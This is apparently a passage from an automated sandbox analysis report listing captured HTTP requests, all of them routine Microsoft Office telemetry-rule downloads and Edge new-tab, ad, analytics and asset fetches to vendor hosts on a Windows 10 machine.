Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=hdZfxb34K1VdB8v&MD=Of6wc+cb HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /b?rn=1732058361925&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=045B60278D93687D3610751B8C3B691E&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1732663158&P2=404&P3=2&P4=cC7D%2bCMm%2f%2fK%2bMAH4Q%2blY9pvhXR78QbXmtY713HGi9Al17aTR9K5YYBIsZBlw%2fag%2fxW%2b6YrETlmN2B0Dw1QwF0g%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: fb8dTeO/9oFEO0tl8fPdRaSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=045B60278D93687D3610751B8C3B691E&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=c40968c577064108c32cbe0d52b9a52a HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=045B60278D93687D3610751B8C3B691E; _EDGE_S=F=1&SID=1B18497342CD6CE2124A5C4F435B6D72; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msG0Z.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /b2?rn=1732058361925&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=045B60278D93687D3610751B8C3B691E&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=1E6343578bd7e9f5e585aef1732058362; XID=1E6343578bd7e9f5e585aef1732058362
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1732058361924&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=93ba126bd035450b89c4cab3de518f3d&activityId=93ba126bd035450b89c4cab3de518f3d&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=9E073CD59E374ED597FF7213122604B2&MUID=045B60278D93687D3610751B8C3B691E HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=045B60278D93687D3610751B8C3B691E; _EDGE_S=F=1&SID=1B18497342CD6CE2124A5C4F435B6D72; _EDGE_V=1; SM=T
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.47Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=045B60278D93687D3610751B8C3B691E&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=3e16dd974af14c2ad71c742e5505afa2 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=045B60278D93687D3610751B8C3B691E; _EDGE_S=F=1&SID=1B18497342CD6CE2124A5C4F435B6D72; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msFQA.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msyO5.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
